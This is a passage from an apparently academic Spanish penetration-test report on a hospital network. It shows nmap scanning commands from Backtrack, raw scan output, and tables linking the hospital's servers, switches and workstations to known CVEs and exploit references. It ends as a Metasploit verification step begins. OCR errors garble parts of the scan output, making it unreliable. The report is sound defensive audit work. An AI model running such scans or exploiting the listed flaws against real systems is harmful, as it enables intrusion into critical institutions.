Servidor cerrando los puertos que no se estan utilizando y prevenir algun tipo de
ataque.

— El escaneo Connect identificé puertos TCP y UDP mayores al 49152 en el Servidor
SGH sin reconocer el servicio al que corresponden. Estos puertos pertenecen a la
categoria de puertos privados no registrados, por lo que cualquier aplicacion puede

hacer uso de ellos.

En la siguiente prueba se obtendrd los servicios que se ejecutan en dichos en los
puertos. Si no existe un firewall local en la red que impida el acceso de atacantes a los
puertos abiertos de un equipo, es posible la inyeccién de virus o troyanos a través de
estos. Se conoce algunos virus que ingresan por cada puerto, por ejemplo en el puerto
21 pueden ingresar troyanos: Back construction, Blade runner, Doly, Fore, FTP trojan,
Invisible FTP, Larva, WebEx, WinCrash; el puerto 23: TTS (Tiny Telnet Server), en el
puerto 25 los troyanos: Ajan, Antigen, Email Password Sender, Happy99, Kuang 2,
ProMail, Shtrilitz, Stealth, Tapiras, Terminator, WinPC, WinSpy.
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El escaneo realizado a los dos equipos 3Com proporciond resultados similares, que se
detallan en la Tabla 16.

rootgbt: -2 nmap -sS -sU -1l /root/Desktop/identificacion_de_sistemas/equiposRed

Starting Neap S5.51 ( http://nmap.org ) at 2011-10-04 11:40 ECT
Nmap scan report for 10.104.32.1
Host is up (0.020s latency).

520/udp open|filtered
1024/udp open|filtered
1645/udp open|filtered
1646/udp open|filtered
1812/udp open|filtered
5001 /udp open|filtered

Not shown: 1990 closed ports
PORT STATE SERVICE
122/tcp  open ssh
23/tcp  open telnet
B0/tcp  open http
161/udp open snep

route

unknown
radius
radacct
radius
commplex-link

llustracion 36. Enumeracion de puertos TCP y UDP de equipos de red.

Switch 3Com

Puerto Estado Servicio

22/TCP Abierto Ssh

23/TCP Abierto telnet

80/TCP Abierto http
161/UDP Abierto Snmp
520/UDP Abiertolfiltrado Route
1024/UDP Abiertolfiltrado Desconocido
1645/UDP Abiertoffiltrado Radius
1646/UDP Abiertolfiltrado Radacct
1812/UDP Abiertolfiltrado Radius
5001/UDP Abiertolfiltrado complex-link

Tabla 16. Enumeracién de puertos en Switch 3Com.

Router ISP 10.104.32.53 (IP privada)
Puerto Estado Servicio
23/TCP Abierto telnet
67/UDP Abierto/filtrado Dhcp
1701/UDP Abierto/filtrado L2TP

Tabla 17. Enumeracién de puertos en Router.
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En los equipos de red 3Com se encontrd el puerto 161 abierto, que puede ser utilizado

para obtener informacion de los equipos, mediante software de enumeracion cuando el

servicio SNMP no es configurado adecuadamente modificando los valores por defecto

de comunidad. En el test para obtener informacién de enrutamiento se examinaran los

equipos de red vulnerando el puerto SNMP. Para determinar el estado de los puertos

en las interfaces publicas se realizé el escaneo desde un equipo conectado a una a

red externa al hospital, con el Sistema Backtrack 4R1 obteniendo los siguientes

resultados:

ethd

root@bt:-# ifconfig

Link encap:Ethernet HWaddr 00:1b:24:2c:2c:8b

inet addr:192.168.1.3 Bcast:192.168.1.15 Mask:255.255.255.248

UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:l
RX packets:4 errors:8 dropped:8 overruns:@ frame:@
TX packets:2 errors:8 dropped:@ overruns:9 carrier:@
collisions:d txqueuelen:lo@d

FX bytes:B804 (204.0 B)] TX bytes:692 (692.0 B)
Interrupt:26

llustracion 37. Configuracion de IP en red externa.

Nmap scan report for 190.15
Host is up (0.041s latency).
Not shown: 1994 closed ports

PORT STATE SERVICE
25/tcp filtered satp
2222/t¢cp filtered unknown
67/udp open|filtered dhcps
123/udp open ntp
161/udp open snmp

162/udp ~open]filtered snmptrap

Nmap scan report for 190.15
Host is up (0.11s latency).
Not shown: 1996 closed ports

PORT STATE SERVICE
23/tcp open telnet
25/tcp  filtered satp

67/udp open|filtered dhcps
1701/udp open|filtered L2TP

Nmap scan report for 190.15
Host is up (0.061s latency).
All 1000 scanned ports on 196.15 are filtered

Noap done: 8 IP addresses (3 hosts up) scanned in 949.48 seconds
_l_n;_l_l.hj'_‘_.

Nmap done: 1 IP address (1 host up) scanned in 834.36 seconds

Noap done: 1 IP address (1 host up) scanned in 836.81 seconds

llustracion 38. Enumeracion de puertos TCP y UDP en direcciones IP puiblicas.
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Router ISP (IP publical)

Puerto Estado Servicio

25/TCP Filtrado Smtp
2222/TCP Filtrado Desconocido
67/UDP Abiertoffiltrado Dhcps
123/UDP Abierto Ntp
161/UDP Abierto Snmp
162/UDP Abiertolfiltrado Snmptrap

Tabla 18. Enumeracion de puertos en IP publica.

Las dos interfaces externas del router muestran puertos diferentes a excepcion del
puerto 25 (smtp) que se encuentra en estado filtrado y 67 (udp) del que no se puede

definir con precision por lo que se traduce en un puerto filtrado.

El puerto 123 (udp) permite obtener informacion de la fecha y hora del sistema, y
permite la sincronizacion de equipos de una red, se utiliza comunmente por los

atacantes para borrar rastros en los registros de acceso a los sistemas.

Router ISP (IP publica2)
Puerto Estado Servicio
23/TCP Abierto telnet
25/TCP Filtrado Smtp
67/UDP Abierto|Filtrado Dhcp
1701/UDP Abierto|Filtrado L2TP

Tabla 19. Enumeracion de puertos en IP publica.

Se verifica el puerto Telnet abierto, lo que implica un alto riesgo de seguridad al utilizar
este puerto desde el internet para acceder al equipo. El puerto SNMP se encuentra
abierto y si la configuracién de comunidad es publica, se podria obtener la informacion
del equipo facilmente. Esto se confirmard en el modulo de verificacion de

vulnerabilidades.
Enumeracion de puertos en estaciones de trabajo.

Los resultados de la enumeracion de puertos en las estaciones de trabajo se exponen

en la siguiente figura.
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45 - ‘E ‘E ‘E 445 /tcp microsoft-ds
| O] | 1 .
40 - 39/tcp netbios-ssn
— 137/udp netbios-ns
35 .
- 8 130 30 30 30 30 30 500/udp isakmp
A A
30 1 M 4500/udp nat-t-ike
25 - 23 445/udp microsoft-ds
| ) B | 20
20 - B 1900/udp upnp
BB B — m 138/udp netbios-dgm
15 -+
| O B | 123/udp ntp
10 -~ 6 135/tcp msrpc
5 4 M 1025/udp blackjack
0 4 A i otros tcp/udp

llustracion 39. Enumeracion de puertos en estaciones de trabajo.

El analisis realizado corresponde a un total de 43 estaciones de trabajo activas debido
a que se descubrié 2 impresoras y dos equipos de red.

Los puertos tcp descubiertos en las estaciones de trabajo corresponden a los servicios
de comparticiébn de recursos (445, 139, 137) del sistema operativo Microsoft, los
puertos UDP 500 y 4500, que corresponden al servicio de Autoridad de seguridad local
(LSASS) y el puerto 1900 vienen habilitados por defecto en los sistemas XP.

< Identificar el uso de protocolos de enrutamiento

Para identificar los protocolos de enrutamiento utilizados en la red del hospital se
utilizé la herramienta Wireshark, para capturar trafico durante una hora. Los
resultandos obtenidos de varias capturas muestran el uso del protocolo RIPv2
(Routing Information Protocol) para el enrutamiento de paquetes de voz y datos a sus

respectivos servidores.
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] Protocolos de en
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llustracion 40. Identificacion de protocolos de enrutamiento.

+ ldentificar el uso de protocolos no estandar

Se ha categorizado como protocolos no estandar aquellos que no se utilizan, y que
pueden consumir recursos de la red. Durante la captura Wireshark se encontré los
siguientes protocolos: NBIPX, IPX SAP. Los servicios de la red del Hospital
corresponden al protocolo IP, los protocolos derivados de IPX, que es una familia de
protocolos de red que se reemplazé por TCP/IP. El protocolo SEBEK, utilizado por la
aplicacion Groove para comparticion de recursos y actualizaciones, también se
establece como protocolo no estandar. Todos estos protocolos corresponden a

servicios habilitados en las estaciones de trabajo.

+ Identificar el uso de protocolos cifrados

Durante la captura de trafico no se identifico el uso de protocolos cifrados en la red.
% ldentificacion de servicios

La mayoria de ataques en los equipos y servidores de red se deben a las
vulnerabilidades que presentan las aplicaciones o servicios, mas no en los puertos

como tal, ya sea por defectos en la programacion o versiones desactualizadas.
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Esta informacion suele ser util para los atacantes ya que pueden reconocer los exploits

para cada una de las vulnerabilidades encontradas en las versiones de servicios y/o

aplicaciones.

La identificacidén de servicios se realiz6 para cada uno de los puertos enumerados en

el escaneo SYN. Se aplicé la herramienta Nmap para obtener las versiones de las

aplicaciones.

# nmap —v —A -T4 —iL <archivo>

Las opciones utilizadas son:

-v: para aumentar el nivel de detalle del escaneo.

-A: para identificar el Sistema Operativo y version.

-T4: aumentar temporizado, realiza el escaneo mas rapido, puede ser de 0-5

-iL <archivo>: identifica el archivo de texto que contiene la lista de sistemas activos

seleccionados para el escaneo.

La sentencia por consola desde Backtrack para el escaneo de las versiones de los

servidores.

# nmap —v —A —T4 —iL /root/Desktop/identificacion_de_sistemas/servidores

Mmap scan report for 10.104.3Z.531
Host is up (0.0023s latency).
Hot shown: 276 closed ports

PORT BTATE SERVICE VERSION

21/tep open ftp Filezilla ftpd 0.9.34
beta

135/ tep open  msrpe Microsoft Windows REC

138/ tep open nethios-ssn
445/ tep open nethios-ssn

1433/tep open ms-sgl-= Microsoft S8QL Herwver 2005
9.00.1399; RTM
2301/tep  open  http HE Proliant System

Management 2£.1.15.210 (CompagHTTEPServer 9.9)

| _http-methods: No Allow or Public header in OPTICNE response
{atatus code 30Z)

| http-title: Site doesn't have a title {(text/html).

| _Reguested resource was http://10.104.32.51/red2301. html?
RedirectUrl=/

Z381/tep open http Apache httpd (83L-only
mode)

| _http-methods: No Allow or Fublic header in OPTIONS® response
{atatus code 30Z)

2383/tep open ms-olapd?

3306/ /tep  open mysgl My8QL 3.l1.3é-community

| mysql-infe: Frotocol: 10

| Version: 5.1.3é-community

| Thread ID: 72963

| Some Capabilities: Long Passwords, Connect with DE,
Compress, CODEC, Traqsactions, Secure Connhection

llustracion 41. Resultados de escaneo de versiones a Servidores.
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La sentencia por consola desde Backtrack para el escaneo de las versiones de los

equipos de red:

# nmap —v —A —T4 —iL /root/Deskktop/identificacién_de_sistemas/equiposRed

Nmap scan report for 10.104.3Z.1

Host is up (0.0061ls latency).

Not shown: 937 closed ports

FORT A3TATE SERVICE VER3IION

2Z/tcp open =sh Huawei VRP sshd 3.3 (protocol 2.0)
23/tcp open telnet 3Com 4500 switch telnetd

80/tcp open http WMI V5 (3Com 535005-EI switch http config)
| http-methods: OPTIONS GET HEAD FOST PUT DELETE TRACE
| Potentially risky methods: FUT DELETE TRACE

|_#ee http://mmap.org/nsedoc/scripts/http-methods. html
| http-title: Web user login

| Requested resource was http://10.104.3Z.1/index.htm
MAC Address: 00:24:73:8A:4D:41 (3Com Europe)

Device type: switch

Running: 3Com embedded, Huawel VRP 3.X

CF details: 3Com 42006 or Huawel Quidway 23600 switch, 3Com
Superftack 3 Switch 4500

Network Distance: 1 hop

TCP Sequence Frediction: Difficulty=Z254 (Good luckl!)

IF ID Sequence Generation: Incremental

dervice Info: 08: VRP; Devices: router, switch

TRACEROUTE
HOFP RTT ADDRE3S
1 6.11 m=s 10.104.32.1

llustracion 42. Resultados de escaneo de versiones a Equipos de red.

Servidor SGH 10.104.32.51
Puerto Servicio Aplicacién
21/TCP ftp Filezillaftpd 0.9.34 beta
135/TCP Msrpc Microsoft Windows RPC
139/TCP netbios-ssn
445/TCP netbios-ssn
1433/TCP ms-sql-s Microsoft SQL Server 2005 9.00.1399;
RTM
2301/TCP http HP Proliant System Management
2.1.15.210 (CompagHTTPServer 9.9)
2381/TCP http Apache httpd (SSL-only mode)
2383/TCP ms-olap4?
3306/TCP Mysq|l MySQL 5.1.36.community
3389/TCP microsoft-rdp Microsoft Terminal Service
3920/TCP ssl/unknown
4848/TCP http Sun GlassFish 2.1.1 (Servlet 2.5)
5357/TCP http Microsoft HTTPAPI httpd 2.0
(SSDP/UPNP)
5800/TCP vnc-http TighVNC
5900/TCP vnc VNC (protocol 3.8)
7676/TCP java-message-service Java Message Service 4.4
8009/TCP ajpl3 Apache Jserv (Protocol v1.3)
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8080/TCP http Apache Tomcat/Coyote JSP engine 1.1
8181/TCP ssl/http Sun GlassFish 2.1.1 (Servlet 2.5)
49152/TCP Msrpc Microsoft Windows RPC
49153/TCP Msrpc Microsoft Windows RPC
49154/TCP Msrpc Microsoft Windows RPC
49155/TCP Msrpc Microsoft Windows RPC
49159/TCP Msrpc Microsoft Windows RPC

Tabla 20. Enumeracion de servicios en Servidor SGH.

Servidor Recaudacion 10.104.32.52
Puerto TCP Servicio Aplicacion
25 Smtp Microsoft ESMTP 5.0.2195.6713
42 Wins Microsoft Windows Wins
80 http Microsoft IS httpd 5.0
88 kerberos-sec Microsoft Windows kerberos-sec
135 Msrpc Microsoft Windows RPC
139 netbios-ssn -
389 Ldap -
443 https? -
445 microsoft-ds Microsoft Windows 2000 microsoft-ds
464 kpasswd5 -
515 Printer Microsoft Idp
593 ncacn-http Microsoft Windows RPC over HTTP 1.0
636 Tcpwrapped -
1026 Msrpc Microsoft Windows RPC
1029 ncacn-http Microsoft Windows RPC over HTTP 1.0
1064 Mstask Microsotmstask (task server —
c:\winnt\system32\Mstask.exe)
1072 Msrpc Microsoft Windows RPC
1073 Msrpc Microsoft Windows RPC
1084 Msrpc Microsoft Windows RPC
1087 Mstask Microsoft mstask (task server —
c:\winnt\system32\Mstask.exe)
1164 Msrpc Microsoft Windows RPC
1165 Msrpc Microsoft Windows RPC
1166 Msrpc Microsoft Windows RPC
3268 Ldap -
3269 Tcpwrapped -
3389 ms-term-serv? -

Tabla 21. Enumeracién de servicios en Servidor de Recaudacion.
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Servidor de VolIP 10.104.33.2
Puerto Servicio Aplicacion
22/TCP Ssh OpenSSH 4.3 (protocol 2.0)
25/TCP Smtp -
80/TCP http Apache httpd 2.2.3 ((Red Hat))
110/TCP pop3? -
111/TCP Rpcbind -
143/TCP Imap? -
443/TCP https Apache httpd 2.2.3 ((Red Hat))
993/TCP Imaps -
995/TCP pop3s -
1022/TCP status 1 (rpc #100024)
2000/TCP cisco-sccp -
3306/TCP Mysql -
4445/TCP Upnotifyp -
4559/TCP Hylafax -
5038/TCP desconocido
Tabla 22. Enumeracion de servicios en Servidor de Volp.
Swicth 3Com
Puerto Servicio Aplicacion
22/TCP Ssh HUAWEI VRP sshd 3.3 (protocol 2.0)
23/TCP telnet 3Com 4500 switch tellnetd
80/TCP http WMI V5 (3Com 5500g-EI switch http config)

Tabla 23. Enumeracién de servicios en Switch 3Com.

No se mostraron resultados de versiones de las aplicaciones en las direcciones

publicas, como se muestra en la siguiente imagen.

NSE: Script scanming 190.11

Nmap scam report for 190.15

Wost is up (0.075s latency).

Not shown: 998 closed ports

PORT STATE SERVICE VERSION
5itep filtered satp

2232 iep filtered unknown
Warning: O055can results may be uarelisble bechuie wi could mot find &t Least 1
pon and 1 closed port

Device Type: switch

Running (JUST GUESSING) : Cisco I0S 12.X (8&%)

Aggressive 05 gquesses: Cisco 29%0, 2960, 1550, 3368, or X758 switch (I0S li.ds
12.2) {88%), Cisco Catalyst 2948 or 3508 switch (BEN)

No exact 05 matches for host (test conditions non-ideall.

Network Distance: & hops

TRACERQUTE {usimg part 101Stcp)
HOP RTT ADDRESS
1 3.3 =s 192.168.1.1

74.80 as 186.46.4.77
72.63 ms 200,107 .34.162
E9.77 s 10.20.20.2
96.25 ms 190,11

W R e R

llustracion 43. Enumeracion de servicios en direcciones publicas.
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Un atacante con los conocimientos suficientes en vulnerar sistemas, reconocera las
versiones de las aplicaciones que posean vulnerabilidades. En el test para reconocer
vulnerabilidades en las aplicaciones se utilizara un escaner que proporciona el sistema

Backtrack.
< Identificacién del sistema operativo

Los puertos de comunicacion de los equipos en algunos casos proporcionan servicios
de acuerdo al Sistema Operativo, sin embargo su configuracion depende del sistema
operativo, por lo que es importante conocerlo y poder determinar la forma de explotar

una aplicacion vulnerable o disefiar exploits.

Los resultados aproximados obtenidos con Nmap en la identificacion de Sistema

Operativo se muestran con exactitud en el caso de los sistemas Windows.

Un atacante puede hacer uso de esta informacion con la finalidad de descubrir las
vulnerabilidades de los sistemas en base a la configuracion de servicios que vienen
por defecto y errores en la programacion de las aplicaciones por la version del sistema
operativo. La sentencia por consola desde Backtrack para el escaneo de las versiones
de los equipos de red:

# nmap —v —A —T4 —iL /root/Deskktop/identificacion_de_sistemas/servidores

Device type: general purpose

Running: Microsoft Windows Vista|2008|7

0S details: Microsoft Windows Vista SPO - SP2, Server 2008, or Windows 7 Ultimate
Uptise quess: 1.134 days (since Thu Oct 6 09:26:08 2011)

Network Distance: 1 hop

TCP Ssquence Prediction: Difficulty=257 (Good luck!)

IP ID Sequence Generation: Incresental

Service Info: 0S: Windovs

Device type: general purpose

Running: Microsoft Windows 2000

0S details: Microsoft Windows 2000 SP4

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=263 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: lo)hhialsOl.LOJ.MSP.GOV.EC: 0S: Windows
Device type: general purpose

Running: Linux 2.6.X

0S details: Linux 2.6.9 - 2.6.30

Uptime guess: 8.120 days (since Thu Sep 29 09:46:47 2011)
Network Distance: 2 hops

TCP Sequence Prediction: Difficulty«196 (Good luck!)

IP ID Sequence Generation: All zeros

TRACEROUTE (using port S3/tcp)
HOP RTT ADDRESS

1 4,12 ms 10.104.32.1

2 1.28 ms 10.104.33.2

llustraciéon 44. Identificaciéon de sistemas en Servidores.
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Equipo IP Sistema Operativo
Router 10.104.32.53 Cisco 10S 12.X]11.X
Switch 3Com 10.104.32.1 3Com Europe
Servidor SGH 10.104.32.51 Microsoft Windows Vista SPO - SP2,
Server 2008, or Windows 7 Ultimate
Servidor Recaudaciéon | 10.104.32.52 Microsoft Windows 2000 SP4
Servidor de Voz 10.104.33.2 Linux 2.6.9 - 2.6.30

Tabla 24. Enumeracion de Sistemas en Equipos de red y Servidores.

El sistema operativo identificado en las estaciones de trabajo es Windows XP SP2.

Nmap identificé en el Servidor de Recaudacion el Sistema Operativo Windows 2000
SP4, este sistema comparte algunas vulnerabilidades con Windows XP, entre las mas
conocidas: desbordamiento de memoria en el Servicio Workstation que puede ser
utilizada por un usuario remoto para forzar la ejecucion remota de cddigo con

privilegios de usuario “System”.

Todas las versiones de Windows incluyen mecanismos para facilitar acceso remoto a
las unidades de disco y al registro del sistema, asi como para la ejecucién remota de
cadigo. En estos servicios se han descubierto numerosas vulnerabilidades que han
sido explotadas por distintos gusanos y virus para propagarse a través de las redes

Windows.

En los Sistemas Linux también se pueden encontrar vulnerabilidades tanto en el kernel
como en las aplicaciones, la versién de Linux 2.6.9 posee una vulnerabilidad bien
conocida que es el desbordamiento en el cédigo del servidor NFS integrado, que
permite que un atacante remoto con acceso NFS al servidor pueda provocar la caida

del mismo o, posiblemente, la ejecucion de cédigo arbitrario.

Mientras no se disponga de una actualizacién apropiada, se recomienda cerrar por
cortafuegos el acceso NFS a clientes no autorizados o0 a su vez desactivar el servidor
NFS de Kernel y usar un servidor a nivel de proceso de usuario. La vulnerabilidad

afecta a los kernel 2.6.* y 2.4.*.

Es habitual encontrar equipos Linux con deficiencias en sus mecanismos de
autenticacion. Esto incluye la existencia de cuentas sin contrasefia, con contrasefias
ampliamente conocidas o facilmente deducibles. Por otra parte es frecuente que

diversos programas o el propio sistema operativo cree nuevas cuentas de usuario con

E
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El sistema de control de versiones mas utilizado en entornos Unix es CVS. Si la

configuracion del servidor CVS permite conexiones anénimas, determinadas versiones

son susceptibles a ataques de desbordamiento de bufer que pueden ser utilizados

para ejecutar codigo arbitrario en el servidor.

Los resultados obtenidos del escaneo de sistemas en las direcciones publicas

corresponden a Cisco I0S 12.x. En el caso de la primera direccion el escaner informa

gue los resultados no son exactos debido a que no se encuentra ningan puerto abierto.

NSE: Script scanning 190.15

Nmap scan report for 190.15

Host is up (0.075s latency)

Not shown: 998 closed ports

PORT STATE SERVICE VERSION

25/t¢cp filtered satp

2222/t¢p filtered unknown

Warning: 0SScan results may be unreliable because we could not find at least 1 o
pen and 1 closed port

Device type: switch

Running (JUST GUESSING) : Cisco I0S 12.X (86MN)

Aggressive 05 guesses: Cisco 2950, 2960, 3550, 3560, or 3750 switch (I0S 12.0v=
12.2) (86%), Cisco Catalyst 2960 or 3600 switch (86%)

No exact 05 matches for host (test conditions non-ideal).

Network Distance: 6 hops

NSE: Script scanning 190.15

Nmap scan report for 190.15

Host is up (0.045s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE VERSION

23/tcp open telnet Cisco router

25/t¢cp filtered satp

Device type: router|switch

Running (JUST GUESSING) : Cisco I0S 12.X (90%)

Aggressive 0S5 guesses: Cisco 2821, 6506, or 7206VXR router (I0S 12.2) (90%), Cis
co 35606 switch (10S 12.2) (87%), Cisco 2950, 2960, 3550, 3560, .0r-3750 switeh'(
10S 12.1 - 12.2) (87%), Cisco Catalyst 2960 or 3600 switch (86%)

No exact 0S matches for host (test conditions non-ideal).

llustracion 45. Identificacion de sistemas en direcciones publicas.

En la siguiente seccién se realizard la busqueda de vulnerabilidades en los sistemas

mencionados, lo que permitir corroborar la informacion descrita.

2. Busqueday verificacion de vulnerabilidades

R/
0.0

Nessus 4.4.1 y OpenVas 3.1 que utilizan

exploits utilizados actualmente

vulnerabilidad que le permite ser identificado de forma univoca.

Identificar y examinar vulnerabilidades utilizando herramientas de hacking y

La identificacion de vulnerabilidades se realiz6 a través de las herramientas
informacién basada en CVE

(CommonVulnerabilities and Exposures), que es un cédigo asignado a una

Estas herramientas realizan intentos de Exploits para obtener las vulnerabilidades

correspondientes a cada uno de los puertos abiertos de los sistemas.
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Se realiz6 el andlisis de las vulnerabilidades encontradas identificando aquellas

correspondientes al Sistema Operativo y a las aplicaciones de los componentes clave:

servidores y equipos de red, ademas de las amenazas a las que se exponen.

La siguiente imagen corresponde a los resultados obtenidos de la herramienta Nessus

en el escaneo de vulnerabilidades de servidores.

11% High
= Severity
H% Medium
Severity

82% Low
u Severity

10.104.32.51
10.104.32.52

10.104.33.2

Problema de alta gravedad (s) que se

encuentran

Problema de alta gravedad {s) que se

encuentran

Problema de alta gravedad (s) que se

encuentran

7
0.0

llustracion 46. Identificacion de vulnerabilidades en servidores con Nessus.

Vulnerabilidades en Servidor SGH

Puerto/ Vulnerabilidad Impacto | Riesgo CVE Exploit
Protocolo
445/tcp Aplicacion SMBv2 Sistema | Critico | 2009-3103 | MS09-050
vulnerable a
desactivacién remota.
Fallas en la Sistema Critico | 2011-0661 | MS11-020
implementacion de SMB 2010-0020 | MS10-012
2010-0021 | MS10-012
2010-0022 | MS10-012
SMB permite el acceso | Sistema | Critico | 1999-0519
no autorizado 1999-0520
Vulnerabilidades de Sistema | Critico | 2010-2550 | MS10-054
SMB del acceso a una 2010-2551 | MS10-054
unidad compartida, que 2010-2552 | MS10-054
no requiere credenciales
Vulnerabilidades en Sistema Alto 2011-1267 | MS11-048
SMB del acceso a un
recurso compartido de
archivos de Windows
1433/tcp Se esta ejecutando una | Aplicacion Alto 2008-0085 | MS08-040
versién de Microsoft 2008-0086 | MS08-040
SQL Server que es 2008-0106 | MS08-040
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vulnerable a multiples 2008-0107 | MS08-040
problemas de corrupcién
de memoria
Vulnerabilidad de Aplicacion Alto 2008-5416
autenticaciéon en MSSQL
debido a un control de
pardmetro no valido en
un procedimiento
2301/tcp HP System Sistema | Critico | 2010-1917
Management Homepage 2010-2531
<6,3-6,2 - 6.0.0.96 / 2010-2939
6.0.0-95-6.1.0.102/ 2010-2950
6.1.0-103 2010-3709
Multiples 2010-4008
vulnerabilidades. 2010-4156
2011-1540
2011-1541
2381l/tcp HP System Sistema | Critico | 2009-3555
Management Homepage 2009-4017
<6,3-6,2 - 6.0.0.96 / 2009-4018
6.0.0-95-6.1.0.102/ 2009-4143
6.1.0-103 2010-1586
Multiples 2010-2068
vulnerabilidades 2010-3009
2010-3011
2010-3012
2010-3283
2010-3284
4848l/tcp Ejecucién de codigo por | Sistema | Critico | 2011-0807 | 47438.rb
omision de autenticacion
en el servidor GlassFish
5355/udp | Una vulnerabilidad enla | Sistema | Critico | 2011-0657 | MS11-030
resolucion DNS podria
permitir la ejecucién
remota de cédigo
3306/tcp MySql es propenso a | Aplicacién Alto 2010-1850

una vulnerabilidad de
buffer-overflows, ya que
no
realizan suficientes
controles de limite en los
datos suministrados por
el usuario.

Tabla 25. Lista de vulnerabilidades del Servidor SGH.
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Puerto/
Protocolo

Vulnerabilidad

Impacto

Riesgo

CVE

Exploit

General/tcp

La versién de Microsoft
Windows 2000
instalada no es
compatible con

Microsoft

Sistema

Critico

Generall/tcp

Cuenta "Invitado" con
privilegios excesivos.

Sistema

Alto

161/udp

Nombre de comunidad
por defecto del
servidor SNMP remoto
(publico)

Aplicacion

Alto

1999-0517

389/tcp

La version de Active

Directory contiene un
error en el cédigo de
solicitud de LDAP que

puede permitir a un

atacante ejecutar
cédigo en la maquina
remota y DoS

Aplicacion

Alto

2007-3028
2007-0040

MS07-039
MS07-039

42/tcp

Vulnerabilidades en
WINS podrian permitir
la ejecucion remota de

codigo

Sistema

Critico

2009-1923
2009-1924

MS09-039
MS09-039

445/tcp

Desbordamiento de
bafer en Windows
Server Service que
podria permitir a un
atacante ejecutar
cédigo arbitrario con
los privilegios del
sistema

Sistema

Critico

2008-4250

MS08-067

Vulnerabilidad de
corrupcién de memoria
en SMB que podria
permitir a un atacante
ejecutar codigo
arbitrario o DoS

Sistema

Critico

2008-4834
2008-4835
2008-4114

MS09-001
MS09-001
MS09-001

80/tcp

Servidor Web
(Microsoft IS Server
5.0)obsoleto

Aplicacion

Alto

Equipo infectado por el
gusano “Code Red”

Aplicacion

Alto

2001-0500

9390/tcp

Servidor Web
(Microsoft 1IS Server
5.0)obsoleto

Sistema

Critico

Tabla 26. Lista de vulnerabilidades Servidor de Recaudacion.
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< Vulnerabilidades en Servidor de Voz

A continuacion se describen las vulnerabilidades encontradas por puerto y servicio.

Puerto/
Protocolo
443/tcp La versién de Apache | Aplicacion/ Alto 2011-3192 | 49303.c
http (2.2.3) se ve Sistema
afectado por una
vulnerabilidad de
denegacion de
servicio.
80/tcp El servidor Apache Aplicacion Alto 2009-3095
2.0 es vulnerable a
ataques de inyeccion
de comandos.

Vulnerabilidad Impacto Riesgo CVE Exploit

Tabla 27. Lista de vulnerabilidades del Servidor de Volp.

Las vulnerabilidades obtenidas mediante las herramientas mencionadas son
generalmente conocidas. Se identificaron algunos agujeros de seguridad en servicios
que no se utilizan, como el servidor web de Windows |IS (obsoleto), que viene por
defecto en el sistema operativo. Podemos hacer hincapié en las vulnerabilidades
relacionadas con los sistemas Windows, que a mas de estar desactualizados, no
utilizan algunos parches creados para solventar problemas de seguridad. El escaner
OpenVAS identificé el Gusano CodeRed en el Servidor de Recaudacion, y recomienda
actualizar el antivirus para evitar la propagacion del virus. Los servicios de los
servidores Windows proporcionan gran ventaja a los atacantes, pudiendo tomar control

sobre los sistemas e impedir la continuidad del servicio.

Los disefiadores de sistemas y aplicaciones han creado plugins de actualizacion para
cubrir los agujeros de seguridad descubiertos luego de su publicacion. En la web se
pueden encontrar exploits con el nombre del Plugin o el cédigo de vulnerabilidad CVE,

tal como se indica en el siguiente tema.
% Vulnerabilidades en los equipos de red

Los equipos de red no presentan vulnerabilidades con riesgo critico en el analisis de
puertos y aplicaciones. Los Switch 3Com presentan una vulnerabilidad en el servidor
SNMP que posee el nombre por defecto de la comunidad (publica), lo que se
considera un riesgo si un atacante logra acceder como administrador y conocer la
informacion de todos los dispositivos de la red, tanto de hardware como de

configuracion. El escaner, sin embargo, proporciona algunas advertencias de
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seguridad relacionadas con el puerto Telnet, que es comunmente vulnerado. En el

Anexo D se muestran los resultados obtenidos.

Problema de alta gravedad (s) que se

o s _ 10.104.32.1 TETETE
igh Severity 10.104.35.2 Problema de alta gravedad (s) que se
m 0% Medium g“cl';'f“"as e o0
Severi roblema de gravedad bajo (s) que se
ot Lg}"‘q 10.104.32.53 EETER
||
Severity

llustracion 47. Identificacion de vulnerabilidades en equipos de red con Nessus.

El router de internet no presenta vulnerabilidades de alto riesgo, presentando algunos

puertos abiertos lo que se considera como vulnerabilidades de minimo riesgo.
% Vulnerabilidades en las estaciones de trabajo

Las vulnerabilidades encontradas en las estaciones de trabajo se indican en la

siguiente figura:

1
L
kY
)
L
s
~l

BO.OO

7000+

60.00 +

5000

4000

3000

2000 -+ 1470 14329

10,00+

llustracion 48. Vulnerabilidades en estaciones de trabajo.
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Vulnerabilidad Impacto Riesgo CVE
® Una vulnerabilidad en SMB podria | Sistema Critico 2008-4834
permitir la ejecucién de cddigo. 2008-4835
2008-4114

Una vulnerabilidad en el “servidor” de | Sistema Alto 2006-1314
servicios (CIFS) podria permitir la ejecucion 2006-1315
remota de cédigo.
® Una vulnerabilidad de desbordamiento de | Sistema Alto 2006-3439
bufer en el “servidor” de servicios (CIFS).

EL servicio RPC es vulnerable a un | Sistema Critico 2008-4250

desbordamiento de budfer que pueden
permitir a un atacante ejecutar codigo
arbitrario con los privilegios del “sistema”.

B Acciones de acceso sin privilegios (SMB) | Sistema Alto 1999-0519
1999-0520
@ Varias vulnerabilidades en el protocolo | Sistema Critico 2010-0020
SMB de servidor que puede permitr a un 2010-0021
atacante ejecutar coédigo arbitrario o realizar 2010-0022
una denegacion de servicio contra el 2010-0231
sistema remoto.
La version del servicio de cola de | Aplicacion/ | Alto 2010-2729

impresion en el host remoto de Windows se | Sistema
ve afectado por la vulnerabilidad de
suplantacién de servicios podria permitir a
un atacante remoto no autenticado ejecutar
caédigo arbitrario.

Una vulnerabilidad en el servidor SMB | Sistema Critico 2011-0661
podrian permitir la ejecucion remota de
caédigo.

Tabla 28. Vulnerabilidades en estaciones de trabajo - Nessus.

Las vulnerabilidades encontradas corresponden al puerto 445 del servicio CIFS que es
el cliente de SMB en Windows, para la comparticion de recursos y servicios, que

permite la ejecucion remota de cédigo o denegacion de servicio en los equipos.
% Verificacion de vulnerabilidades

Con la finalidad de demostrar como un atacante puede ingresar a los servidores
valiéndose de las vulnerabilidades encontradas se utiliz6 la herramienta Metasploit
muy conocida en el mundo del hacking por la extensa base de datos de Exploits que

contiene de acuerdo al sistema o aplicacion.
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Backtrack nos proporciona una base de datos exploit-db en donde se puede realizar la
busqueda de Exploits de acuerdo a la vulnerabilidad de aplicacién o sistema, ademas
